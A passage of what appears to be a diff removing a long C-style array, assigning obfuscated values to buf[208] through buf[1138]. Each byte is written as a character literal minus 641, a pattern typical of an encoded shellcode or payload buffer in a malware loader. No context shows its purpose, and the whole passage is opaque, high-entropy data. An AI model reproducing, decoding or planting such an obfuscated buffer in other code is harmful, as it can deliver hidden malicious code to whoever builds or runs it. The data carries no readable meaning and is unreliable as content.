'\x29b'-641; - buf[208] = '\x2cc'-641; - buf[209] = '\x292'-641; - buf[210] = '\x2fd'-641; - buf[211] = '\x2c0'-641; - buf[212] = '\x28d'-641; - buf[213] = '\x2ba'-641; - buf[214] = '\x317'-641; - buf[215] = '\x2b3'-641; - buf[216] = '\x2bf'-641; - buf[217] = '\x2fa'-641; - buf[218] = '\x291'-641; - buf[219] = '\x306'-641; - buf[220] = '\x338'-641; - buf[221] = '\x290'-641; - buf[222] = '\x338'-641; - buf[223] = '\x327'-641; - buf[224] = '\x372'-641; - buf[225] = '\x282'-641; - buf[226] = '\x351'-641; - buf[227] = '\x35b'-641; - buf[228] = '\x2e4'-641; - buf[229] = '\x284'-641; - buf[230] = '\x2f2'-641; - buf[231] = '\x2fe'-641; - buf[232] = '\x32c'-641; - buf[233] = '\x2e4'-641; - buf[234] = '\x2b7'-641; - buf[235] = '\x282'-641; - buf[236] = '\x285'-641; - buf[237] = '\x34b'-641; - buf[238] = '\x361'-641; - buf[239] = '\x370'-641; - buf[240] = '\x287'-641; - buf[241] = '\x2eb'-641; - buf[242] = '\x2e2'-641; - buf[243] = '\x29e'-641; - buf[244] = '\x30f'-641; - buf[245] = '\x2d3'-641; - buf[246] = '\x318'-641; - buf[247] = '\x356'-641; - buf[248] = '\x36c'-641; - buf[249] = '\x32e'-641; - buf[250] = '\x377'-641; - buf[251] = '\x360'-641; - buf[252] = '\x368'-641; - buf[253] = '\x2d7'-641; - buf[254] = '\x31d'-641; - buf[255] = '\x34a'-641; - buf[256] = '\x2ce'-641; - buf[257] = '\x2c8'-641; - buf[258] = '\x28a'-641; - buf[259] = '\x33a'-641; - buf[260] = '\x32d'-641; - buf[261] = '\x2bf'-641; - buf[262] = '\x362'-641; - buf[263] = '\x37f'-641; - buf[264] = '\x2e6'-641; - buf[265] = '\x298'-641; - buf[266] = '\x2eb'-641; - buf[267] = '\x379'-641; - buf[268] = '\x2c4'-641; - buf[269] = '\x295'-641; - buf[270] = '\x28c'-641; - buf[271] = '\x35c'-641; - buf[272] = '\x323'-641; - buf[273] = '\x2ac'-641; - buf[274] = '\x31b'-641; - buf[275] = '\x30f'-641; - buf[276] = '\x317'-641; - buf[277] = '\x32e'-641; - buf[278] = '\x2d1'-641; - buf[279] = '\x316'-641; - buf[280] = '\x28b'-641; - buf[281] = '\x2b8'-641; - buf[282] = '\x323'-641; - buf[283] = '\x341'-641; - buf[284] = '\x2d8'-641; - buf[285] = '\x28b'-641; - buf[286] = '\x2bf'-641; - buf[287] = '\x367'-641; - buf[288] = '\x363'-641; - buf[289] = '\x2e5'-641; - buf[290] = '\x339'-641; - buf[291] = '\x29e'-641; - buf[292] = '\x34a'-641; - buf[293] = '\x28d'-641; - buf[294] = '\x289'-641; - buf[295] = '\x31f'-641; - buf[296] = '\x32e'-641; - buf[297] = '\x355'-641; - buf[298] = '\x2eb'-641; - buf[299] = '\x2cf'-641; - buf[300] = '\x2c2'-641; - buf[301] = '\x2e8'-641; - buf[302] = '\x28a'-641; - buf[303] = '\x286'-641; - buf[304] = '\x306'-641; - buf[305] = '\x377'-641; - buf[306] = '\x30b'-641; - buf[307] = '\x2c7'-641; - buf[308] = '\x300'-641; - buf[309] = '\x2ab'-641; - buf[310] = '\x349'-641; - buf[311] = '\x2f4'-641; - buf[312] = '\x371'-641; - buf[313] = '\x30a'-641; - buf[314] = '\x2c1'-641; - buf[315] = '\x318'-641; - buf[316] = '\x323'-641; - buf[317] = '\x35e'-641; - buf[318] = '\x2f5'-641; - buf[319] = '\x2a1'-641; - buf[320] = '\x282'-641; - buf[321] = '\x2a9'-641; - buf[322] = '\x2e4'-641; - buf[323] = '\x321'-641; - buf[324] = '\x320'-641; - buf[325] = '\x30b'-641; - buf[326] = '\x2d2'-641; - buf[327] = '\x2a2'-641; - buf[328] = '\x2e8'-641; - buf[329] = '\x380'-641; - buf[330] = '\x2ba'-641; - buf[331] = '\x2b1'-641; - buf[332] = '\x28e'-641; - buf[333] = '\x302'-641; - buf[334] = '\x29b'-641; - buf[335] = '\x2a5'-641; - buf[336] = '\x2f0'-641; - buf[337] = '\x312'-641; - buf[338] = '\x2b8'-641; - buf[339] = '\x334'-641; - buf[340] = '\x28b'-641; - buf[341] = '\x32f'-641; - buf[342] = '\x2a8'-641; - buf[343] = '\x2ba'-641; - buf[344] = '\x37f'-641; - buf[345] = '\x362'-641; - buf[346] = '\x2e9'-641; - buf[347] = '\x344'-641; - buf[348] = '\x324'-641; - buf[349] = '\x2d8'-641; - buf[350] = '\x29d'-641; - buf[351] = '\x2db'-641; - buf[352] = '\x368'-641; - buf[353] = '\x281'-641; - buf[354] = '\x2cf'-641; - buf[355] = '\x36b'-641; - buf[356] = '\x2dd'-641; - buf[357] = '\x34b'-641; - buf[358] = '\x36b'-641; - buf[359] = '\x2ba'-641; - buf[360] = '\x341'-641; - buf[361] = '\x32e'-641; - buf[362] = '\x28c'-641; - buf[363] = '\x37e'-641; - buf[364] = '\x31c'-641; - buf[365] = '\x296'-641; - buf[366] = '\x34d'-641; - buf[367] = '\x328'-641; - buf[368] = '\x379'-641; - buf[369] = '\x30c'-641; - buf[370] = '\x31b'-641; - buf[371] = '\x361'-641; - buf[372] = '\x2b3'-641; - buf[373] = '\x2b0'-641; - buf[374] = '\x314'-641; - buf[375] = '\x2cb'-641; - buf[376] = '\x2bf'-641; - buf[377] = '\x334'-641; - buf[378] = '\x362'-641; - buf[379] = '\x340'-641; - buf[380] = '\x2bd'-641; - buf[381] = '\x33d'-641; - buf[382] = '\x34d'-641; - buf[383] = '\x331'-641; - buf[384] = '\x353'-641; - buf[385] = '\x28a'-641; - buf[386] = '\x2a8'-641; - buf[387] = '\x35b'-641; - buf[388] = '\x2f5'-641; - buf[389] = '\x375'-641; - buf[390] = '\x35d'-641; - buf[391] = '\x293'-641; - buf[392] = '\x31a'-641; - buf[393] = '\x2ff'-641; - buf[394] = '\x359'-641; - buf[395] = '\x2b1'-641; - buf[396] = '\x308'-641; - buf[397] = '\x2f5'-641; - buf[398] = '\x2a6'-641; - buf[399] = '\x292'-641; - buf[400] = '\x333'-641; - buf[401] = '\x2fa'-641; - buf[402] = '\x2dd'-641; - buf[403] = '\x294'-641; - buf[404] = '\x2a4'-641; - buf[405] = '\x291'-641; - buf[406] = '\x2e6'-641; - buf[407] = '\x320'-641; - buf[408] = '\x313'-641; - buf[409] = '\x287'-641; - buf[410] = '\x343'-641; - buf[411] = '\x2cd'-641; - buf[412] = '\x28b'-641; - buf[413] = '\x2be'-641; - buf[414] = '\x2e8'-641; - buf[415] = '\x373'-641; - buf[416] = '\x29f'-641; - buf[417] = '\x2d2'-641; - buf[418] = '\x32e'-641; - buf[419] = '\x358'-641; - buf[420] = '\x370'-641; - buf[421] = '\x2b4'-641; - buf[422] = '\x329'-641; - buf[423] = '\x2be'-641; - buf[424] = '\x2aa'-641; - buf[425] = '\x342'-641; - buf[426] = '\x372'-641; - buf[427] = '\x315'-641; - buf[428] = '\x370'-641; - buf[429] = '\x2b1'-641; - buf[430] = '\x321'-641; - buf[431] = '\x301'-641; - buf[432] = '\x31d'-641; - buf[433] = '\x317'-641; - buf[434] = '\x331'-641; - buf[435] = '\x334'-641; - buf[436] = '\x2c5'-641; - buf[437] = '\x342'-641; - buf[438] = '\x376'-641; - buf[439] = '\x2ab'-641; - buf[440] = '\x2e9'-641; - buf[441] = '\x34b'-641; - buf[442] = '\x316'-641; - buf[443] = '\x333'-641; - buf[444] = '\x334'-641; - buf[445] = '\x2be'-641; - buf[446] = '\x345'-641; - buf[447] = '\x32f'-641; - buf[448] = '\x335'-641; - buf[449] = '\x340'-641; - buf[450] = '\x2c7'-641; - buf[451] = '\x293'-641; - buf[452] = '\x300'-641; - buf[453] = '\x33e'-641; - buf[454] = '\x308'-641; - buf[455] = '\x36a'-641; - buf[456] = '\x284'-641; - buf[457] = '\x375'-641; - buf[458] = '\x2f6'-641; - buf[459] = '\x2fb'-641; - buf[460] = '\x2bd'-641; - buf[461] = '\x2a6'-641; - buf[462] = '\x35f'-641; - buf[463] = '\x2c7'-641; - buf[464] = '\x35b'-641; - buf[465] = '\x29f'-641; - buf[466] = '\x28b'-641; - buf[467] = '\x305'-641; - buf[468] = '\x36a'-641; - buf[469] = '\x31f'-641; - buf[470] = '\x33d'-641; - buf[471] = '\x29e'-641; - buf[472] = '\x326'-641; - buf[473] = '\x359'-641; - buf[474] = '\x2b3'-641; - buf[475] = '\x2fd'-641; - buf[476] = '\x354'-641; - buf[477] = '\x2fe'-641; - buf[478] = '\x2c7'-641; - buf[479] = '\x2f7'-641; - buf[480] = '\x2bf'-641; - buf[481] = '\x36c'-641; - buf[482] = '\x289'-641; - buf[483] = '\x375'-641; - buf[484] = '\x2d1'-641; - buf[485] = '\x312'-641; - buf[486] = '\x2d1'-641; - buf[487] = '\x358'-641; - buf[488] = '\x338'-641; - buf[489] = '\x2a9'-641; - buf[490] = '\x281'-641; - buf[491] = '\x2c7'-641; - buf[492] = '\x294'-641; - buf[493] = '\x29f'-641; - buf[494] = '\x2b0'-641; - buf[495] = '\x364'-641; - buf[496] = '\x2d6'-641; - buf[497] = '\x2cb'-641; - buf[498] = '\x355'-641; - buf[499] = '\x2f2'-641; - buf[500] = '\x2ea'-641; - buf[501] = '\x37c'-641; - buf[502] = '\x318'-641; - buf[503] = '\x311'-641; - buf[504] = '\x33a'-641; - buf[505] = '\x35d'-641; - buf[506] = '\x340'-641; - buf[507] = '\x285'-641; - buf[508] = '\x376'-641; - buf[509] = '\x2a5'-641; - buf[510] = '\x310'-641; - buf[511] = '\x35f'-641; - buf[512] = '\x359'-641; - buf[513] = '\x2d7'-641; - buf[514] = '\x2d7'-641; - buf[515] = '\x367'-641; - buf[516] = '\x31b'-641; - buf[517] = '\x308'-641; - buf[518] = '\x33b'-641; - buf[519] = '\x2bf'-641; - buf[520] = '\x303'-641; - buf[521] = '\x363'-641; - buf[522] = '\x368'-641; - buf[523] = '\x2af'-641; - buf[524] = '\x337'-641; - buf[525] = '\x28f'-641; - buf[526] = '\x30d'-641; - buf[527] = '\x281'-641; - buf[528] = '\x329'-641; - buf[529] = '\x2a3'-641; - buf[530] = '\x362'-641; - buf[531] = '\x2f8'-641; - buf[532] = '\x371'-641; - buf[533] = '\x365'-641; - buf[534] = '\x2bc'-641; - buf[535] = '\x35f'-641; - buf[536] = '\x33c'-641; - buf[537] = '\x311'-641; - buf[538] = '\x2d4'-641; - buf[539] = '\x2bf'-641; - buf[540] = '\x303'-641; - buf[541] = '\x2b3'-641; - buf[542] = '\x352'-641; - buf[543] = '\x2d8'-641; - buf[544] = '\x32b'-641; - buf[545] = '\x317'-641; - buf[546] = '\x2c6'-641; - buf[547] = '\x30c'-641; - buf[548] = '\x304'-641; - buf[549] = '\x315'-641; - buf[550] = '\x288'-641; - buf[551] = '\x2af'-641; - buf[552] = '\x379'-641; - buf[553] = '\x34d'-641; - buf[554] = '\x301'-641; - buf[555] = '\x362'-641; - buf[556] = '\x2be'-641; - buf[557] = '\x2cd'-641; - buf[558] = '\x373'-641; - buf[559] = '\x283'-641; - buf[560] = '\x2a6'-641; - buf[561] = '\x33e'-641; - buf[562] = '\x30c'-641; - buf[563] = '\x380'-641; - buf[564] = '\x30b'-641; - buf[565] = '\x329'-641; - buf[566] = '\x284'-641; - buf[567] = '\x2d4'-641; - buf[568] = '\x2a4'-641; - buf[569] = '\x31e'-641; - buf[570] = '\x37a'-641; - buf[571] = '\x324'-641; - buf[572] = '\x374'-641; - buf[573] = '\x369'-641; - buf[574] = '\x304'-641; - buf[575] = '\x2c9'-641; - buf[576] = '\x281'-641; - buf[577] = '\x2da'-641; - buf[578] = '\x2b5'-641; - buf[579] = '\x37f'-641; - buf[580] = '\x331'-641; - buf[581] = '\x288'-641; - buf[582] = '\x358'-641; - buf[583] = '\x342'-641; - buf[584] = '\x284'-641; - buf[585] = '\x374'-641; - buf[586] = '\x2ba'-641; - buf[587] = '\x2e7'-641; - buf[588] = '\x2b8'-641; - buf[589] = '\x2ff'-641; - buf[590] = '\x2ad'-641; - buf[591] = '\x2f0'-641; - buf[592] = '\x2c3'-641; - buf[593] = '\x2af'-641; - buf[594] = '\x282'-641; - buf[595] = '\x2ac'-641; - buf[596] = '\x2d8'-641; - buf[597] = '\x2dd'-641; - buf[598] = '\x316'-641; - buf[599] = '\x2f7'-641; - buf[600] = '\x2f9'-641; - buf[601] = '\x283'-641; - buf[602] = '\x314'-641; - buf[603] = '\x29c'-641; - buf[604] = '\x2b3'-641; - buf[605] = '\x2d7'-641; - buf[606] = '\x28d'-641; - buf[607] = '\x37f'-641; - buf[608] = '\x2f3'-641; - buf[609] = '\x2d0'-641; - buf[610] = '\x2b9'-641; - buf[611] = '\x36a'-641; - buf[612] = '\x2e6'-641; - buf[613] = '\x2d4'-641; - buf[614] = '\x321'-641; - buf[615] = '\x31f'-641; - buf[616] = '\x352'-641; - buf[617] = '\x319'-641; - buf[618] = '\x332'-641; - buf[619] = '\x2aa'-641; - buf[620] = '\x367'-641; - buf[621] = '\x29a'-641; - buf[622] = '\x31a'-641; - buf[623] = '\x2b5'-641; - buf[624] = '\x2a8'-641; - buf[625] = '\x2c0'-641; - buf[626] = '\x369'-641; - buf[627] = '\x2e0'-641; - buf[628] = '\x356'-641; - buf[629] = '\x37b'-641; - buf[630] = '\x339'-641; - buf[631] = '\x353'-641; - buf[632] = '\x2c8'-641; - buf[633] = '\x343'-641; - buf[634] = '\x2f2'-641; - buf[635] = '\x2e2'-641; - buf[636] = '\x321'-641; - buf[637] = '\x2f9'-641; - buf[638] = '\x325'-641; - buf[639] = '\x375'-641; - buf[640] = '\x2ea'-641; - buf[641] = '\x2e5'-641; - buf[642] = '\x2a4'-641; - buf[643] = '\x33b'-641; - buf[644] = '\x2b1'-641; - buf[645] = '\x2bc'-641; - buf[646] = '\x2b1'-641; - buf[647] = '\x2b5'-641; - buf[648] = '\x285'-641; - buf[649] = '\x347'-641; - buf[650] = '\x2a4'-641; - buf[651] = '\x29a'-641; - buf[652] = '\x333'-641; - buf[653] = '\x2bb'-641; - buf[654] = '\x334'-641; - buf[655] = '\x36e'-641; - buf[656] = '\x2cb'-641; - buf[657] = '\x356'-641; - buf[658] = '\x324'-641; - buf[659] = '\x35c'-641; - buf[660] = '\x32f'-641; - buf[661] = '\x380'-641; - buf[662] = '\x35e'-641; - buf[663] = '\x310'-641; - buf[664] = '\x2f4'-641; - buf[665] = '\x358'-641; - buf[666] = '\x2f9'-641; - buf[667] = '\x2b2'-641; - buf[668] = '\x2b3'-641; - buf[669] = '\x288'-641; - buf[670] = '\x321'-641; - buf[671] = '\x2b3'-641; - buf[672] = '\x35a'-641; - buf[673] = '\x291'-641; - buf[674] = '\x35b'-641; - buf[675] = '\x2b9'-641; - buf[676] = '\x338'-641; - buf[677] = '\x2b0'-641; - buf[678] = '\x2d6'-641; - buf[679] = '\x300'-641; - buf[680] = '\x336'-641; - buf[681] = '\x2b6'-641; - buf[682] = '\x34a'-641; - buf[683] = '\x2f1'-641; - buf[684] = '\x310'-641; - buf[685] = '\x2ee'-641; - buf[686] = '\x376'-641; - buf[687] = '\x2cc'-641; - buf[688] = '\x296'-641; - buf[689] = '\x30b'-641; - buf[690] = '\x29a'-641; - buf[691] = '\x292'-641; - buf[692] = '\x2d4'-641; - buf[693] = '\x2a3'-641; - buf[694] = '\x2bb'-641; - buf[695] = '\x2eb'-641; - buf[696] = '\x300'-641; - buf[697] = '\x2e2'-641; - buf[698] = '\x2a7'-641; - buf[699] = '\x2aa'-641; - buf[700] = '\x2f3'-641; - buf[701] = '\x353'-641; - buf[702] = '\x2ce'-641; - buf[703] = '\x2d3'-641; - buf[704] = '\x313'-641; - buf[705] = '\x2b2'-641; - buf[706] = '\x303'-641; - buf[707] = '\x2c5'-641; - buf[708] = '\x359'-641; - buf[709] = '\x2d7'-641; - buf[710] = '\x30f'-641; - buf[711] = '\x31e'-641; - buf[712] = '\x285'-641; - buf[713] = '\x353'-641; - buf[714] = '\x2f4'-641; - buf[715] = '\x35f'-641; - buf[716] = '\x2fa'-641; - buf[717] = '\x297'-641; - buf[718] = '\x32c'-641; - buf[719] = '\x372'-641; - buf[720] = '\x346'-641; - buf[721] = '\x2e2'-641; - buf[722] = '\x325'-641; - buf[723] = '\x2c0'-641; - buf[724] = '\x35a'-641; - buf[725] = '\x2a7'-641; - buf[726] = '\x36f'-641; - buf[727] = '\x364'-641; - buf[728] = '\x33d'-641; - buf[729] = '\x2b9'-641; - buf[730] = '\x2a5'-641; - buf[731] = '\x336'-641; - buf[732] = '\x31d'-641; - buf[733] = '\x310'-641; - buf[734] = '\x2ec'-641; - buf[735] = '\x30f'-641; - buf[736] = '\x29e'-641; - buf[737] = '\x303'-641; - buf[738] = '\x347'-641; - buf[739] = '\x2ca'-641; - buf[740] = '\x291'-641; - buf[741] = '\x324'-641; - buf[742] = '\x318'-641; - buf[743] = '\x2fd'-641; - buf[744] = '\x2bc'-641; - buf[745] = '\x2f3'-641; - buf[746] = '\x2da'-641; - buf[747] = '\x30b'-641; - buf[748] = '\x33c'-641; - buf[749] = '\x315'-641; - buf[750] = '\x368'-641; - buf[751] = '\x2ec'-641; - buf[752] = '\x37b'-641; - buf[753] = '\x32e'-641; - buf[754] = '\x2bb'-641; - buf[755] = '\x312'-641; - buf[756] = '\x2b9'-641; - buf[757] = '\x312'-641; - buf[758] = '\x2e7'-641; - buf[759] = '\x2ff'-641; - buf[760] = '\x2f9'-641; - buf[761] = '\x30d'-641; - buf[762] = '\x2ea'-641; - buf[763] = '\x33a'-641; - buf[764] = '\x2ea'-641; - buf[765] = '\x2db'-641; - buf[766] = '\x2a1'-641; - buf[767] = '\x329'-641; - buf[768] = '\x34b'-641; - buf[769] = '\x334'-641; - buf[770] = '\x33a'-641; - buf[771] = '\x2b1'-641; - buf[772] = '\x33d'-641; - buf[773] = '\x368'-641; - buf[774] = '\x348'-641; - buf[775] = '\x2e4'-641; - buf[776] = '\x298'-641; - buf[777] = '\x337'-641; - buf[778] = '\x333'-641; - buf[779] = '\x317'-641; - buf[780] = '\x368'-641; - buf[781] = '\x374'-641; - buf[782] = '\x2df'-641; - buf[783] = '\x35f'-641; - buf[784] = '\x335'-641; - buf[785] = '\x333'-641; - buf[786] = '\x371'-641; - buf[787] = '\x31e'-641; - buf[788] = '\x2eb'-641; - buf[789] = '\x2df'-641; - buf[790] = '\x2b3'-641; - buf[791] = '\x2c9'-641; - buf[792] = '\x2a9'-641; - buf[793] = '\x331'-641; - buf[794] = '\x35f'-641; - buf[795] = '\x312'-641; - buf[796] = '\x2c7'-641; - buf[797] = '\x31a'-641; - buf[798] = '\x285'-641; - buf[799] = '\x2f5'-641; - buf[800] = '\x2de'-641; - buf[801] = '\x313'-641; - buf[802] = '\x371'-641; - buf[803] = '\x286'-641; - buf[804] = '\x334'-641; - buf[805] = '\x315'-641; - buf[806] = '\x297'-641; - buf[807] = '\x2bf'-641; - buf[808] = '\x2a8'-641; - buf[809] = '\x292'-641; - buf[810] = '\x376'-641; - buf[811] = '\x2ad'-641; - buf[812] = '\x34c'-641; - buf[813] = '\x2c7'-641; - buf[814] = '\x325'-641; - buf[815] = '\x365'-641; - buf[816] = '\x37b'-641; - buf[817] = '\x36d'-641; - buf[818] = '\x34f'-641; - buf[819] = '\x329'-641; - buf[820] = '\x2e5'-641; - buf[821] = '\x284'-641; - buf[822] = '\x2ad'-641; - buf[823] = '\x31d'-641; - buf[824] = '\x365'-641; - buf[825] = '\x2b1'-641; - buf[826] = '\x301'-641; - buf[827] = '\x376'-641; - buf[828] = '\x32e'-641; - buf[829] = '\x30c'-641; - buf[830] = '\x36d'-641; - buf[831] = '\x365'-641; - buf[832] = '\x33b'-641; - buf[833] = '\x281'-641; - buf[834] = '\x2bb'-641; - buf[835] = '\x368'-641; - buf[836] = '\x2a6'-641; - buf[837] = '\x2a1'-641; - buf[838] = '\x358'-641; - buf[839] = '\x366'-641; - buf[840] = '\x291'-641; - buf[841] = '\x2ad'-641; - buf[842] = '\x31d'-641; - buf[843] = '\x2cc'-641; - buf[844] = '\x30a'-641; - buf[845] = '\x35a'-641; - buf[846] = '\x2b4'-641; - buf[847] = '\x310'-641; - buf[848] = '\x2cc'-641; - buf[849] = '\x377'-641; - buf[850] = '\x283'-641; - buf[851] = '\x368'-641; - buf[852] = '\x2b5'-641; - buf[853] = '\x293'-641; - buf[854] = '\x365'-641; - buf[855] = '\x323'-641; - buf[856] = '\x2e1'-641; - buf[857] = '\x31b'-641; - buf[858] = '\x2d7'-641; - buf[859] = '\x32f'-641; - buf[860] = '\x2d2'-641; - buf[861] = '\x308'-641; - buf[862] = '\x30b'-641; - buf[863] = '\x287'-641; - buf[864] = '\x2a7'-641; - buf[865] = '\x377'-641; - buf[866] = '\x33e'-641; - buf[867] = '\x361'-641; - buf[868] = '\x2cd'-641; - buf[869] = '\x339'-641; - buf[870] = '\x379'-641; - buf[871] = '\x33b'-641; - buf[872] = '\x30a'-641; - buf[873] = '\x31b'-641; - buf[874] = '\x331'-641; - buf[875] = '\x286'-641; - buf[876] = '\x2fc'-641; - buf[877] = '\x373'-641; - buf[878] = '\x30f'-641; - buf[879] = '\x317'-641; - buf[880] = '\x327'-641; - buf[881] = '\x33b'-641; - buf[882] = '\x28a'-641; - buf[883] = '\x325'-641; - buf[884] = '\x34b'-641; - buf[885] = '\x330'-641; - buf[886] = '\x369'-641; - buf[887] = '\x2ac'-641; - buf[888] = '\x2dc'-641; - buf[889] = '\x2df'-641; - buf[890] = '\x321'-641; - buf[891] = '\x300'-641; - buf[892] = '\x32f'-641; - buf[893] = '\x303'-641; - buf[894] = '\x2be'-641; - buf[895] = '\x32e'-641; - buf[896] = '\x338'-641; - buf[897] = '\x33a'-641; - buf[898] = '\x328'-641; - buf[899] = '\x371'-641; - buf[900] = '\x2ac'-641; - buf[901] = '\x282'-641; - buf[902] = '\x379'-641; - buf[903] = '\x35e'-641; - buf[904] = '\x2cd'-641; - buf[905] = '\x2f9'-641; - buf[906] = '\x351'-641; - buf[907] = '\x349'-641; - buf[908] = '\x2af'-641; - buf[909] = '\x297'-641; - buf[910] = '\x302'-641; - buf[911] = '\x29b'-641; - buf[912] = '\x373'-641; - buf[913] = '\x2fa'-641; - buf[914] = '\x2a0'-641; - buf[915] = '\x35b'-641; - buf[916] = '\x29f'-641; - buf[917] = '\x363'-641; - buf[918] = '\x37a'-641; - buf[919] = '\x314'-641; - buf[920] = '\x380'-641; - buf[921] = '\x2be'-641; - buf[922] = '\x2bf'-641; - buf[923] = '\x354'-641; - buf[924] = '\x2eb'-641; - buf[925] = '\x285'-641; - buf[926] = '\x343'-641; - buf[927] = '\x321'-641; - buf[928] = '\x2f6'-641; - buf[929] = '\x292'-641; - buf[930] = '\x2d3'-641; - buf[931] = '\x30f'-641; - buf[932] = '\x2e0'-641; - buf[933] = '\x353'-641; - buf[934] = '\x36c'-641; - buf[935] = '\x2c0'-641; - buf[936] = '\x2a8'-641; - buf[937] = '\x35d'-641; - buf[938] = '\x363'-641; - buf[939] = '\x2d8'-641; - buf[940] = '\x2f3'-641; - buf[941] = '\x2ac'-641; - buf[942] = '\x2aa'-641; - buf[943] = '\x37a'-641; - buf[944] = '\x2c4'-641; - buf[945] = '\x2e6'-641; - buf[946] = '\x330'-641; - buf[947] = '\x323'-641; - buf[948] = '\x293'-641; - buf[949] = '\x361'-641; - buf[950] = '\x348'-641; - buf[951] = '\x375'-641; - buf[952] = '\x2e7'-641; - buf[953] = '\x29a'-641; - buf[954] = '\x2f9'-641; - buf[955] = '\x2a3'-641; - buf[956] = '\x2cd'-641; - buf[957] = '\x2b8'-641; - buf[958] = '\x2b1'-641; - buf[959] = '\x34b'-641; - buf[960] = '\x2af'-641; - buf[961] = '\x33f'-641; - buf[962] = '\x291'-641; - buf[963] = '\x335'-641; - buf[964] = '\x37d'-641; - buf[965] = '\x33c'-641; - buf[966] = '\x33e'-641; - buf[967] = '\x2c7'-641; - buf[968] = '\x376'-641; - buf[969] = '\x336'-641; - buf[970] = '\x347'-641; - buf[971] = '\x329'-641; - buf[972] = '\x329'-641; - buf[973] = '\x2c7'-641; - buf[974] = '\x37a'-641; - buf[975] = '\x337'-641; - buf[976] = '\x323'-641; - buf[977] = '\x2fe'-641; - buf[978] = '\x2ad'-641; - buf[979] = '\x32f'-641; - buf[980] = '\x2dc'-641; - buf[981] = '\x2e3'-641; - buf[982] = '\x304'-641; - buf[983] = '\x2e5'-641; - buf[984] = '\x36f'-641; - buf[985] = '\x362'-641; - buf[986] = '\x301'-641; - buf[987] = '\x295'-641; - buf[988] = '\x2e9'-641; - buf[989] = '\x33c'-641; - buf[990] = '\x352'-641; - buf[991] = '\x2a7'-641; - buf[992] = '\x364'-641; - buf[993] = '\x2a2'-641; - buf[994] = '\x2cd'-641; - buf[995] = '\x353'-641; - buf[996] = '\x283'-641; - buf[997] = '\x345'-641; - buf[998] = '\x2c3'-641; - buf[999] = '\x2e3'-641; - buf[1000] = '\x362'-641; - buf[1001] = '\x2b3'-641; - buf[1002] = '\x31c'-641; - buf[1003] = '\x32e'-641; - buf[1004] = '\x2cf'-641; - buf[1005] = '\x325'-641; - buf[1006] = '\x30b'-641; - buf[1007] = '\x2e4'-641; - buf[1008] = '\x301'-641; - buf[1009] = '\x348'-641; - buf[1010] = '\x2fa'-641; - buf[1011] = '\x37e'-641; - buf[1012] = '\x2b9'-641; - buf[1013] = '\x291'-641; - buf[1014] = '\x342'-641; - buf[1015] = '\x2fb'-641; - buf[1016] = '\x37a'-641; - buf[1017] = '\x300'-641; - buf[1018] = '\x37d'-641; - buf[1019] = '\x32d'-641; - buf[1020] = '\x2d8'-641; - buf[1021] = '\x36c'-641; - buf[1022] = '\x36f'-641; - buf[1023] = '\x313'-641; - buf[1024] = '\x2d3'-641; - buf[1025] = '\x31a'-641; - buf[1026] = '\x30c'-641; - buf[1027] = '\x334'-641; - buf[1028] = '\x344'-641; - buf[1029] = '\x324'-641; - buf[1030] = '\x2d4'-641; - buf[1031] = '\x2d0'-641; - buf[1032] = '\x35f'-641; - buf[1033] = '\x2bf'-641; - buf[1034] = '\x35e'-641; - buf[1035] = '\x306'-641; - buf[1036] = '\x31c'-641; - buf[1037] = '\x33d'-641; - buf[1038] = '\x314'-641; - buf[1039] = '\x2ec'-641; - buf[1040] = '\x368'-641; - buf[1041] = '\x2d0'-641; - buf[1042] = '\x369'-641; - buf[1043] = '\x29b'-641; - buf[1044] = '\x34f'-641; - buf[1045] = '\x358'-641; - buf[1046] = '\x36e'-641; - buf[1047] = '\x360'-641; - buf[1048] = '\x2ad'-641; - buf[1049] = '\x2bd'-641; - buf[1050] = '\x2a4'-641; - buf[1051] = '\x287'-641; - buf[1052] = '\x370'-641; - buf[1053] = '\x2c4'-641; - buf[1054] = '\x318'-641; - buf[1055] = '\x2d0'-641; - buf[1056] = '\x2d0'-641; - buf[1057] = '\x2a8'-641; - buf[1058] = '\x30c'-641; - buf[1059] = '\x2fa'-641; - buf[1060] = '\x313'-641; - buf[1061] = '\x290'-641; - buf[1062] = '\x2bf'-641; - buf[1063] = '\x32b'-641; - buf[1064] = '\x2f8'-641; - buf[1065] = '\x310'-641; - buf[1066] = '\x37c'-641; - buf[1067] = '\x2ad'-641; - buf[1068] = '\x30b'-641; - buf[1069] = '\x2ef'-641; - buf[1070] = '\x2be'-641; - buf[1071] = '\x34a'-641; - buf[1072] = '\x2d3'-641; - buf[1073] = '\x360'-641; - buf[1074] = '\x338'-641; - buf[1075] = '\x313'-641; - buf[1076] = '\x288'-641; - buf[1077] = '\x2b3'-641; - buf[1078] = '\x2a4'-641; - buf[1079] = '\x355'-641; - buf[1080] = '\x2df'-641; - buf[1081] = '\x2c7'-641; - buf[1082] = '\x35b'-641; - buf[1083] = '\x2a7'-641; - buf[1084] = '\x30e'-641; - buf[1085] = '\x284'-641; - buf[1086] = '\x2ed'-641; - buf[1087] = '\x2dc'-641; - buf[1088] = '\x2d9'-641; - buf[1089] = '\x283'-641; - buf[1090] = '\x380'-641; - buf[1091] = '\x300'-641; - buf[1092] = '\x315'-641; - buf[1093] = '\x2e8'-641; - buf[1094] = '\x2ae'-641; - buf[1095] = '\x28e'-641; - buf[1096] = '\x2a3'-641; - buf[1097] = '\x36a'-641; - buf[1098] = '\x35f'-641; - buf[1099] = '\x289'-641; - buf[1100] = '\x318'-641; - buf[1101] = '\x2af'-641; - buf[1102] = '\x2d9'-641; - buf[1103] = '\x2d2'-641; - buf[1104] = '\x2b4'-641; - buf[1105] = '\x355'-641; - buf[1106] = '\x37d'-641; - buf[1107] = '\x2aa'-641; - buf[1108] = '\x2e2'-641; - buf[1109] = '\x30d'-641; - buf[1110] = '\x2b0'-641; - buf[1111] = '\x370'-641; - buf[1112] = '\x2e5'-641; - buf[1113] = '\x291'-641; - buf[1114] = '\x337'-641; - buf[1115] = '\x309'-641; - buf[1116] = '\x316'-641; - buf[1117] = '\x2c4'-641; - buf[1118] = '\x2fd'-641; - buf[1119] = '\x2ee'-641; - buf[1120] = '\x347'-641; - buf[1121] = '\x301'-641; - buf[1122] = '\x30f'-641; - buf[1123] = '\x2e1'-641; - buf[1124] = '\x281'-641; - buf[1125] = '\x2d4'-641; - buf[1126] = '\x2ec'-641; - buf[1127] = '\x2c0'-641; - buf[1128] = '\x364'-641; - buf[1129] = '\x282'-641; - buf[1130] = '\x33d'-641; - buf[1131] = '\x285'-641; - buf[1132] = '\x29d'-641; - buf[1133] = '\x2d7'-641; - buf[1134] = '\x2b8'-641; - buf[1135] = '\x35c'-641; - buf[1136] = '\x35a'-641; - buf[1137] = '\x2f5'-641; - buf[1138] = '\x2a9'-641; - 